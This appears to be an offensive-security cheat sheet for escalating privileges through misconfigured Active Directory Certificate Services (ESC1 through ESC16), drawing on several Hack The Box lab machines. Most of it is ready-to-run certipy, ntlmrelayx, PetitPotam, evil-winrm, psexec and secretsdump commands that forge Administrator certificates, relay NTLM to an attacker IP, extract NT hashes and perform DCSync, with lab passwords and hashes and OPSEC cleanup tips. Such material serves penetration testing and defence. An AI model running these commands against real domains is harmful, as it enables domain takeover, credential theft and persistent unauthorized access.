ADCS Exploitation (ESC1-ESC16)
#Overview
Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation for enterprise environments. When misconfigured, certificate templates allow low-privileged users to request certificates for high-privileged accounts, including Domain Administrators. The ESC (ESCalation) taxonomy covers 15+ distinct ADCS misconfiguration classes. Certificates obtained via ADCS abuse provide Kerberos TGT retrieval (via PKINIT) and NTLM hash extraction, bypassing password-based authentication entirely.
#Prerequisites
- A domain user account (any privilege level)
- ADCS installed and accessible on the target domain
- certipy or Certify on Windows
- For some ESC scenarios: specific ACLs, computer accounts, or CA access rights
#Tool Note: certipy vs certipy-ad
# certipy-ad is the 2024+ maintained fork — the original certipy by ly4k is archived
# Install: pip install certipy-ad (command is still 'certipy')
# certipy-ad find -enabled flag: filter for enabled certificate templates only
certipy find -u user@domain.local -p pass -dc-ip 10.10.10.10 -enabled
#Detection & Enumeration
#Verify ADCS Presence
# netexec LDAP module
netexec ldap 10.10.11.69 -u 'winrm_svc' -H <hash> -M adcs
# Output: Found PKI Enrollment Server: DC01.fluffy.htb
# certipy find — comprehensive ADCS enumeration
certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable
# Flags all ESC scenarios automatically
# -vulnerable: only show templates with known ESC vulnerabilities
# With NTLM hash
certipy find -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 -vulnerable -stdout
# certipy with debug for troubleshooting
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -enabled -stdout
# Windows on-host enumeration
.\Certify.exe cas # list certificate authorities
.\Certify.exe find /vulnerable # find vulnerable templates
.\Certify.exe find # enumerate all templates
# Certify.exe — On-host ADCS enumeration (Windows, no Python needed)
.\Certify.exe find /vulnerable /current-domain # Domain-scoped vulnerable template search
.\Certify.exe find /vulnerable # Local forest search
.\Certify.exe find /enabled # List enabled templates
#Key Certificate Template Properties
| Property | Meaning | ESC Relevance |
|---|---|---|
ENROLLEE_SUPPLIES_SUBJECT | Requester can specify SAN | ESC1, ESC9 |
Client Authentication EKU | Certificate usable for domain auth | ESC1-ESC4 |
Any Purpose EKU | No EKU restrictions | ESC2 |
Certificate Request Agent EKU | Act as enrollment agent | ESC3 |
Schema Version 1 | Old template (pre-2008) | ESC3, ESC15 |
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | Alternative subject flag | ESC9 |
EDITF_ATTRIBUTESUBJECTALTNAME2 | CA-level flag | ESC6 |
#Exploitation / Execution
#ESC1: Enrollee Supplies Subject + Client Authentication
The most common ADCS vulnerability. Any authenticated user can request a certificate for an arbitrary user (e.g., Administrator) by specifying a UPN in the SAN.
# Scenario: CorpVPN template allows Domain Computers to enroll, supplies subject, Client Auth EKU
# From Authority HTB:
# 1. Add a computer account (MachineAccountQuota check first)
netexec ldap 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
# MachineAccountQuota: 10 (default)
addcomputer.py 'authority.htb/svc_ldap' -method LDAPS -computer-name 'EVIL01' \
-computer-pass 'Str0ng3st_P@ssw0rd!' -dc-ip 10.10.11.222
# 2. Request certificate as Administrator
certipy req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' -ca AUTHORITY-CA \
-dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb \
-dns authority.htb -debug
# Scenario: UserAuthentication template with ENROLLEE_SUPPLIES_SUBJECT
# From Escape HTB:
certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \
-upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca \
-template UserAuthentication
# 3. Authenticate with the certificate
# Standard PKINIT (requires DC supporting PKINIT)
certipy auth -pfx administrator.pfx
# Output: NT hash for 'administrator': <hash>
# Fallback: PassTheCert (if DC doesn't support PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.222 -ldap-shell
#ESC2: Subordinate CA / Any Purpose EKU
If a template has Any Purpose EKU or acts as a subordinate CA, any certificate from it can be used for any purpose including client authentication.
certipy req -u user@domain -p 'pass' -ca <CA_NAME> -dc-ip <DC> \
-template <template_with_any_purpose> -upn administrator@<domain>
certipy auth -pfx administrator.pfx
#ESC3: Enrollment Agent Abuse
A user with enrollment agent certificate + access to a Client Auth template can request certificates on behalf of other users.
# 1. Request enrollment agent certificate
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
-template <enrollment_agent_template>
# 2. Use agent certificate to request certificate for Administrator
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
-template <user_template> -on-behalf-of '<domain>\Administrator' \
-pfx <agent_cert.pfx>
certipy auth -pfx administrator.pfx
#ESC4: Weak Template ACLs (WriteProperty on Template)
If a user has WriteProperty or FullControl over a certificate template, they can modify it to add vulnerable settings (ENROLLEE_SUPPLIES_SUBJECT, Client Authentication EKU).
# 1. Modify the template to be vulnerable
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
-save-old
# 2. Enable enrollee supplies subject + client auth
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
-enable-enrollee-supplies-subject -add-eku 'Client Authentication'
# 3. Exploit as ESC1
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
-template <template_name> -upn administrator@<domain>
# 4. Restore template (OPSEC cleanup)
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
-restore
#ESC5: Vulnerable PKI AD Object Access
When PKI-related objects in AD have weak ACLs (CA server, NTAuthCertificates, etc.).
#ESC6: CA Has EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
The CA itself allows specifying arbitrary SANs regardless of template settings.
# Request with arbitrary upn even if template doesn't allow SAN
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
-template <any_auth_template> -upn administrator@<domain>
# Works because the CA flag overrides template restrictions
#ESC7: ManageCA or ManageCertificates on CA
Users with ManageCA or ManageCertificates rights on the CA can:
- Edit the CA to enable
EDITF_ATTRIBUTESUBJECTALTNAME2(then ESC6) - Issue pending/failed certificate requests
#ESC8: NTLM Relay to AD CS Web Enrollment
Relay NTLM authentication from a privileged user to the CA's web enrollment endpoint (certsrv).
# 1. Set up ntlmrelayx to target AD CS HTTP endpoint
ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp --no-smb-server \
-ip <attacker_ip> --adcs --template <template_name>
# 2. Coerce privileged user to authenticate (PetitPotam, PrinterBug)
python3 PetitPotam.py -d <domain> -u <user> -p <pass> <attacker_ip> <dc_ip>
# 3. ntlmrelayx receives the relayed auth and requests certificate
# Output: .pfx certificate for the relayed user
#ESC9: No Security Extension + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
Similar to ESC1 but the template lacks the security extension (szOID_NTDS_CA_SECURITY_EXT). The attacker needs to modify their own user's UPN to match the target.
# From Certified HTB:
# 1. Change ca_operator's UPN to Administrator
certipy-ad account update -username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
# 2. Request certificate as ca_operator (now with UPN=Administrator)
certipy-ad req -username ca_operator@certified.htb \
-hashes b4b86f45c6018f1b664f70805f45d8f2 \
-ca certified-DC01-CA -template CertifiedAuthentication -debug
# Got certificate with UPN 'Administrator'
# 3. Restore original UPN
certipy-ad account update -username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator \
-upn ca_operator@certified.htb
# 4. Authenticate
certipy-ad auth -pfx 'administrator.pfx' -domain 'certified.htb'
#ESC10: Weak Certificate Mapping
When the CA uses X509IssuerSubject (weak) mapping instead of SID extension (strong), a certificate with a crafted issuer/subject can impersonate any user.
#ESC11: Encryption Key Reuse with IF_ENABLE_RENEW
If encryption keys are reused for certificate renewal, an attacker with a valid certificate can recover keys.
#ESC12: Shell Access to CA with Shadow Admin
# If you have shell access to the CA server and enrollment rights to the CA certificate:
certipy req -u user@domain.local -p pass -ca CA-NAME -template CA -pfx ca.pfx
# Use the CA certificate for domain admin authentication:
certipy auth -pfx ca.pfx -dc-ip 10.10.10.10
#ESC14: Weak Certificate Mapping + SID Correlation
# When strong certificate mapping is disabled and no security extension:
# Combine with SID injection via msDS-SID-Security-Identifier attribute
certipy req -u user@domain.local -p pass -ca CA-NAME -template ESC14 -sid S-1-5-21-...-500
#ESC13: OID Group Link Abuse
Certificates with OID-based group linking can grant group membership through certificate issuance.
#ESC15: Schema V1 + Enrollee Supplies Subject (CVE-2024-49019)
Allows injecting arbitrary Application Policies into Schema V1 certificates. Requires unpatched CA (pre-November 2024).
# From TombWatcher HTB:
# WebServer template: EnrolleeSuppliesSubject + Schema V1 + not patched for CVE-2024-49019
# Scenario A: Inject Client Authentication to a Server Authentication template
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
-target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \
-upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
# Note: May fail if EKU mismatch prevents direct auth
# Scenario B: Inject Certificate Request Agent (works like ESC3)
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
-target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \
-upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
# Use agent cert to request on behalf of Administrator
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
-target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User \
-pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
#ESC16: Security Extension Disabled (from Fluffy)
The CA is globally configured to disable the szOID_NTDS_CA_SECURITY_EXT security extension. Combined with UPN modification, enables certificate-based impersonation.
# From Fluffy HTB:
# 1. Change ca_svc's UPN to administrator
certipy-ad account update -username "p.agila@fluffy.htb" -p "prometheusx-303" \
-user ca_svc -upn 'administrator'
# 2. Request certificate as ca_svc (User template)
certipy-ad req -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
# 3. Restore UPN
certipy-ad account update -username "p.agila@fluffy.htb" -p "prometheusx-303" \
-user ca_svc -upn 'ca_svc@fluffy.htb'
# 4. Authenticate with certificate
certipy-ad auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69
#certipy-ad shadow auto
# certipy-ad shadow auto — One-liner Shadow Credentials replacement
# Replaces the multi-step pywhisker + PKINITtools workflow
certipy shadow auto -u user@domain.local -p pass -dc-ip 10.10.10.10 -account target$
# This: 1) Adds KeyCredential to target 2) Requests TGT 3) Authenticates 4) Restores original KeyCredential
#Pass-the-Cert
Once you have a valid .pfx certificate file, authentication is straightforward:
# certipy auth — get TGT and NT hash
certipy auth -pfx administrator.pfx -domain '<domain>' -dc-ip <DC>
# Output: Saved credential cache to 'administrator.ccache'
# NT hash for 'administrator': <hash>
# Use resulting hash for WinRM or PsExec
evil-winrm -i <target> -u administrator -H <nt_hash>
impacket-psexec administrator@<target> -hashes :<nt_hash>
# Direct TGT usage (Kerberos)
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass <domain>/administrator@<DC> -just-dc-ntlm
#BloodHound ADCS Edges
BloodHound CE (via RustHound or SharpHound) maps:
Enroll: user can enroll in a templateGenericAll/WriteOwner/WriteDaclon templates -> ESC4ManageCA/ManageCertificateson CA -> ESC7- Template object controls -> ESC4 paths
// Find enrollable templates with ENROLLEE_SUPPLIES_SUBJECT
MATCH (u:User)-[:Enroll]->(ct:CertTemplate)
WHERE ct.EnrolleeSuppliesSubject = true AND ct.ClientAuthentication = true
RETURN u.name, ct.name
#Common Pitfalls
- KDC_ERR_PADATA_TYPE_NOSUPP: The DC does not support PKINIT. Use PassTheCert for LDAP-based RBCD or the
-ldap-shelloption. - Certificate not valid for client authentication: The template lacks the Client Authentication EKU. Use ESC3 (enrollment agent) or target a different template.
- Clock skew: Kerberos requires time within 5 minutes. Use
sudo ntpdate -u <DC>. - DNS resolution failures: certipy needs DNS to resolve the CA. Ensure DC/Domain names are in
/etc/hosts. - adminCount in template properties: Templates with adminCount=1 have restricted ACL inheritance.
- KRB_AP_ERR_SKEW vs KDC_ERR_S_PRINCIPAL_UNKNOWN: Clock skew means your system time differs from DC. Sync with: ntpdate <dc-ip>
- -dc-ip vs -target: -dc-ip bypasses DNS resolution (uses IP directly), -target resolves via DNS. Mixing causes confusing failures in split-brain DNS environments.
- Python kerberos library conflicts: certipy requires python-krb5 but some Kali installs have both python-kerberos and python-krb5 which conflict. Fix: pip uninstall python-kerberos
#OPSEC Considerations
- Certificate requests generate Event ID 4886 (Certificate Services received a request) and 4887 (Certificate issued)
- UPN modifications to user accounts are logged as AD object changes
- Adding key credentials (shadow credentials) modifies the target object
- Certificate enrollment leaves behind issued certificates on the CA
- New computer accounts (addcomputer.py) generate AD object creation events
- Certificate-based authentication bypasses password logon events (no 4624 with password)
- certipy template (ESC4) → Event ID 4898 (Certificate Services template security modified)
- certipy ca (ESC7) → Event ID 4842 (Certificate Services security changed)
- certipy LDAP queries → Event ID 4662 (Object Access) on DCs with advanced auditing
- Sysmon Event ID 13 (Registry value set) for certipy template modifications
#Post-Exploitation Value
- Direct NT hash extraction for Domain Admins
- Kerberos TGT that can be used for DCSync
- Bypasses MFA if certificate-based authentication is trusted
- Long-lived certificates (years of validity) provide persistent access
- Certificate can be used across forest trusts if properly configured
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| certipy | https://github.com/ly4k/Certipy |
| Certify | https://github.com/GhostPack/Certify |
| PKINITtools | https://github.com/dirkjanm/PKINITtools |
| PassTheCert | https://github.com/AlmondOffSec/PassTheCert |
| Impacket | https://github.com/fortra/impacket |
#Source Machines
- Escape (Medium) — ESC1 via UserAuthentication template -> ryan.cooper -> admin certificate
- Authority (Medium) — ESC1 via CorpVPN (Domain Computers enroll) -> machine account -> certificate -> DCSync
- Fluffy (Easy) — ESC16 via security extension disabled -> ca_svc UPN change -> Administrator certificate
- Certified (Medium) — ESC9 via CertifiedAuthentication template -> ca_operator UPN change -> Administrator
- TombWatcher (Medium) — ESC15 via WebServer Schema V1 -> cert_admin -> certificate request agent -> User template on behalf of Administrator